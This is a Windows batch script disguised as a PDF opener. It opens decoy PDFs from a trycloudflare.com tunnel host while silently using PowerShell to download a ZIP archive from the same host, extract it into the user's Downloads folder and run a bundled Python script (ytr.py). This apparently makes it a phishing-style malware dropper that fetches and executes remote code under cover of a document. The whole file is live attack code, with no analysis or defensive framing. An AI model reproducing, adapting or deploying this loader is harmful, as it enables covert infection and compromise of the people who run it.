@echo off
setlocal
echo Opening PDF file...
start "" "https://receivers-ranch-buddy-incl.trycloudflare.com/p.pdf"
timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)
:: Variables
set "zipUrl=https://receivers-ranch-buddy-incl.trycloudflare.com/fresh7.zip"
set "destination=%USERPROFILE%\Downloads\fresh7.zip"
set "extractTo=%USERPROFILE%\Downloads"
:: Use Invoke-WebRequest to download the file
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }"
:: Extract the ZIP file using Expand-Archive
powershell -Command "& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }"
:: Navigate to the Python folder and run the script
cd /d "%Userprofile%\Downloads\fresh7\App\Python"
python.exe ytr.py
echo Opening PDF file...
start "" "https://receivers-ranch-buddy-incl.trycloudflare.com/q.pdf"
timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)
:: End of script
endlocal